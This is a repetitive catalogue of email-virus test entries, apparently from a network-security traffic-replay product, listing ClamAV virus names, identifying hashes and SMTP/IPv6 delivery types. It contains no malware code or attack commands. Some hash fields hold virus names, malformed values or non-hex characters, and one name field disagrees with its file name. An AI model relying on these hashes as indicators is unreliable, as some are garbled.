Executive Description:	Email Virus Worm.Lentin.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lentin.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6e098e6122739168d0abfe285c0d14c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mylife.C.c755c0d4.xml
Executive Description:	Email Virus Worm.Mylife.C
Detailed Description:	This is the email virus Worm.Mylife.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c755c0d4915686e098bc9c193831f334. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.5d796596_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7965963964d4bf1ea73cf73da8b3e6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.003.2fd23ba7.xml
Executive Description:	Email Virus W95.Hybris.PI.003
Detailed Description:	This is the email virus W95.Hybris.PI.003 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2fd23ba777b1fad62b6eab93772214a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.b.b.8827c3bb.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.b.b
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Assarm.ass.e3e151ac_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Assarm.ass (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Assarm.ass as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Assarm.ass. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Haxdoor.B.5ea70f86_IPv6.xml
Executive Description:	Email Virus Email-Worm.Backdoor.Haxdoor.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Haxdoor.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ea70f863a1b63d08c14d3c2455f8790. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.A.84e4510a_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 84e4510aec4d76c5d431ab32d7458f8c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dumb.2.797810f9.xml
Executive Description:	Email Virus Worm.Dumb.2
Detailed Description:	This is the email virus Worm.Dumb.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 797810f99b6d01fae84556c4dca543b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Paroc.A.d4f43810_IPv6.xml
Executive Description:	Email Virus Worm.Paroc.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Paroc.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4f43810da698cc6104d843e56593abd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.H.543c358d.xml
Executive Description:	Email Virus Worm.Klez.H
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 543c358d51a949d6584f568bc3ac465b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Sircam.85faf716b.xml
Executive Description:	Email Virus Worm.Rays.A
Detailed Description:	This is the email virus Worm.Sircam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85faf716b82e92aea53e5e04e632b30a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.ef542e18.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef542e181e41cd79695dc59bd4078ffe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drink.1.0127c451.xml
Executive Description:	Email Virus Worm.Drink.1
Detailed Description:	This is the email virus Worm.Drink.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0127c451fcf9f1ece8d54b34a3169f6d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noon.e80c93c7_IPv6.xml
Executive Description:	Email Virus Worm.Noon (IPv6 Version)
Detailed Description:	This is the email virus Worm.Noon as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e80c93c78dd745efd7e51b4959a4ce33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.i.i.ca2d8546_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.i.i (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.i.i. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.52b01701.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b01701d0719062614906f5b030773f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Worm.Winevar.e79d0b1a_IPv6.xml
Executive Description:	Email Virus W32.Worm.Winevar (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Winevar as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e79d0b1a342712ea9b96104086149d65. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.160a2c19_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 160a2c19abcf721dc24dd23528a57595. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Emin.d9fd66a8_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Emin (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Emin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d9fd66a813b647e9461e654ba80db7bc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AM.87993159.xml
Executive Description:	Email Virus Worm.LoveLetter.AM
Detailed Description:	This is the email virus Worm.LoveLetter.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 879931599d63a160b9fd4dc3cc2ac8b4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drink.1.0127c451_IPv6.xml
Executive Description:	Email Virus Worm.Drink.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Drink.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0127c451fcf9f1ece8d54b34a3169f6d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Lee.r.5213917c.xml
Executive Description:	Email Virus Worm.Lee.r
Detailed Description:	This is the email virus Worm.Lee.r as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5213917c6a740de8224687694a98adee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Chet.a.a.db7b0b9e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Chet.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Chet.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Chet.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Spam.Brief.d94551fc.xml
Executive Description:	Email Virus Worm.Spam.Brief
Detailed Description:	This is the email virus Worm.Spam.Brief as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d94551fcb68fbc72d8f513299da8afa8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AE.e64547e9.xml
Executive Description:	Email Virus Worm.Lovgate.AE
Detailed Description:	This is the email virus Worm.Lovgate.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64547e952800a8f78838d6f2552e6b1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BWG.A.e70e9df8.xml
Executive Description:	Email Virus Worm.BWG.A
Detailed Description:	This is the email virus Worm.BWG.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e70e9df8117b9aab9b88e440c2e45d17. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.2a5b7d8d_IPv6.xml
Executive Description:	Email Virus Worm.Vorgon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2a5b7d8de10f1c5197a179cc5b21f46b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Tijor.tij.3ae473ce.xml
Executive Description:	Email Virus Email-Worm.MSWord.Tijor.tij
Detailed Description:	This is the email virus Email-Worm.MSWord.Tijor.tij as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Tijor.tij. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hobex.hob.6490b29e.xml
Executive Description:	Email Virus Email-Worm.Win32.Hobex.hob
Detailed Description:	This is the email virus Email-Worm.Win32.Hobex.hob as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hobex.hob. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drefir.C.9594702d.xml
Executive Description:	Email Virus Worm.Drefir.C
Detailed Description:	This is the email virus Worm.Drefir.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9594702de451b792e318b8eb1deb9214. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Magistr.B.poly.0cd0a719_IPv6.xml
Executive Description:	Email Virus Worm.Magistr.B.poly (IPv6 Version)
Detailed Description:	This is the email virus Worm.Magistr.B.poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0cd0a719f9f91630de366c54c427a834. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Greel.A.901f172b_IPv6.xml
Executive Description:	Email Virus Worm.Greel.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Greel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 901f172bb73f98d86898fde8e67495c1. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.B.3d49489e_IPv6.xml
Executive Description:	Email Virus Worm.Shuq.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Shuq.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d49489eff476e66f5f9097dfa2da484. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SillyWorm.a.a.6b2487fc.xml
Executive Description:	Email Virus Email-Worm.VBS.SillyWorm.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.SillyWorm.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SillyWorm.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.VBSWG.aa.aa.292c4794_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.VBSWG.aa.aa (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.VBSWG.aa.aa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.VBSWG.aa.aa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Puron.b3df8b68.xml
Executive Description:	Email Virus Worm.Puron
Detailed Description:	This is the email virus Worm.Puron as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b3df8b68919e04f1edeb66d746cbeb80. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.I.c5fe22de.xml
Executive Description:	Email Virus VBS.PicaWorm.I
Detailed Description:	This is the email virus VBS.PicaWorm.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c5fe22de68bf20cf256390b52b595612. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SSIWG2.ssi.4b1e2c5a.xml
Executive Description:	Email Virus Email-Worm.VBS.SSIWG2.ssi
Detailed Description:	This is the email virus Email-Worm.VBS.SSIWG2.ssi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SSIWG2.ssi. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sabak.A.82bc4f48_IPv6.xml
Executive Description:	Email Virus Worm.Sabak.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sabak.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82bc4f482e8015ca5a5b755a1204e014. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.b5b92d0a_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b5b92d0a2285b0d579939ad6733a98dc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AU.6e96df83.xml
Executive Description:	Email Virus Worm.Bagle.AU
Detailed Description:	This is the email virus Worm.Bagle.AU as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e96df8304807fb4238f0f698fd96157. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.a3730f2b_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3730f2bb51e107ae8081ff7c15a8444. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.S.809c50d2_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.S (IPv6 Version)

Detailed Description:	This is the email virus Worm.Lovgate.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 809c50d245b45614f8b27de98bc828a9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kagra.ac087b23_IPv6.xml
Executive Description:	Email Virus Worm.Kagra (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kagra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ac087b236f3baecb2abde6bb56176256. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Xemez.2980c3ca_IPv6.xml
Executive Description:	Email Virus Worm.Xemez (IPv6 Version)
Detailed Description:	This is the email virus Worm.Xemez as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2980c3ca33d926c3d8d0d039080f3cc8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.E.3033d2e9_IPv6.xml
Executive Description:	Email Virus Worm.Brit.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3033d2e9d99668678d24a4fca7d05ac1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.B.13129193_IPv6.xml
Executive Description:	Email Virus Wotm.VBS.Pahi.B (IPv6 Version)
Detailed Description:	This is the email virus Wotm.VBS.Pahi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13129193ea585288e8bf4a391334f455. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.82e8971d.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82e8971d1f3cd8ce88ab1026e8d7159eb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Randa.4c560521.xml
Executive Description:	Email Virus Worm.VBS.Randa
Detailed Description:	This is the email virus Worm.VBS.Randa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c560521f3cd8ce88ab1026e8d7159eb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.e3692cb7_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e3692cb7b2b1354f61a050613bc9758b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Manyimize.man.5e26c953_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Manyimize.man (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Manyimize.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Manyimize.man. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Avoner.A.3354ef97_IPv6.xml
Executive Description:	Email Virus Worm.Avoner.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Avoner.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3354ef976cdce679c3cf821ad52c9a59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.P.ba9cbc0d.xml
Executive Description:	Email Virus Worm.Yaha.P
Detailed Description:	This is the email virus Worm.Yaha.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ba9cbc0dee19184251aa9df5427320ce. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.I.blad7269.xml

Executive Description:	Email Virus Worm.Mimail.I
Detailed Description:	This is the email virus Worm.Mimail.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blad7269b179113d43c7c7564dcf67e0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Godzilla.god.b1fa0612_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Godzilla.god (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Godzilla.god as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Godzilla.god. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.f.f1a8c3a4.xml
Executive Description:	Email Virus Worm.Brit.f
Detailed Description:	This is the email virus Worm.Brit.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f1a8c3a4ae874c8f7cf26766923469ee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.b.b.e62e5ce6_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Alcaul.B.51f19993_IPv6.xml
Executive Description:	Email Virus VBS.Alcaul.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Alcaul.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51f19993474bc77d0cb4694bc6c8f643. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Menace.men.8de2cf46_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Menace.men (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Menace.men as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Menace.men. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Horid.hor.365887be_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Horid.hor (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Horid.hor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horid.hor. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.ddff1350.xml
Executive Description:	Email Virus W32.Worm.Choke
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ddff13508999d4144105fa2dcf75fc78. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stina.sti.3d6294c8.xml
Executive Description:	Email Virus Email-Worm.Win32.Stina.sti
Detailed Description:	This is the email virus Email-Worm.Win32.Stina.sti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stina.sti. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Apost.A.946f4b65.xml
Executive Description:	Email Virus Worm.Apost.A
Detailed Description:	This is the email virus Worm.Apost.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 946f4b65baff49e8dd6fd2a3abc43cc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BubbleBoy.msg.bb7b91d1.xml
Executive Description:	Email Virus Worm.BubbleBoy.msg
Detailed Description:	This is the email virus Worm.BubbleBoy.msg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb7b91d1685db89b58ac01a72921e632. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Paukor.a.a.87748874.xml
Executive Description:	Email Virus Email-Worm.Win32.Paukor.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Maniz.4bacflda.xml
Executive Description:	Email Virus Worm.VBS.Maniz
Detailed Description:	This is the email virus Worm.VBS.Maniz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bacfldab59b13ef99929388b8065fc9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.94ec4742_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 94ec47428dabb492af96756e7c95c644. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.b.b.bd06afea_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SysClock.f0c88112.xml
Executive Description:	Email Virus Worm.SysClock
Detailed Description:	This is the email virus Worm.SysClock as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0c881121393713e27cd8f35aaae0cfa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vierika.242c9030_IPv6.xml
Executive Description:	Email Virus Worm.Vierika (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vierika as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 242c9030e2b77db532537218cf508924. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Yama.B.05f78466.xml
Executive Description:	Email Virus JS.Yama.B
Detailed Description:	This is the email virus JS.Yama.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05f784668b2143abb25137ef8c84c55d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.e3692cb7.xml
Executive Description:	Email Virus Worm.Yarner.D
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e3692cb7b2b1354f61a050613bc9758b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Zhangpo.0caf68d0.xml
Executive Description:	Email Virus W32.Zhangpo
Detailed Description:	This is the email virus W32.Zhangpo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0caf68d0c020974e90f9637456fcf741. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBSWG.ac.d4956efc.xml
Executive Description:	Email Virus Worm.VBSWG.ac
Detailed Description:	This is the email virus Worm.VBSWG.ac as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4956efc0253b4089f9610fa240c52ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-4.5ad04ebd.xml
Executive Description:	Email Virus Trojan.Killav-4
Detailed Description:	This is the email virus Trojan.Killav-4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ad04ebd3cd2dc09636aa50712b3ecd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.VBS.Kuasa.B.74f6e7d5_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74f6e7d5fdc5fe88a64e74928f3b54e6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.a053ab02_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a053ab02be384ed8072d3215eed12fc8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
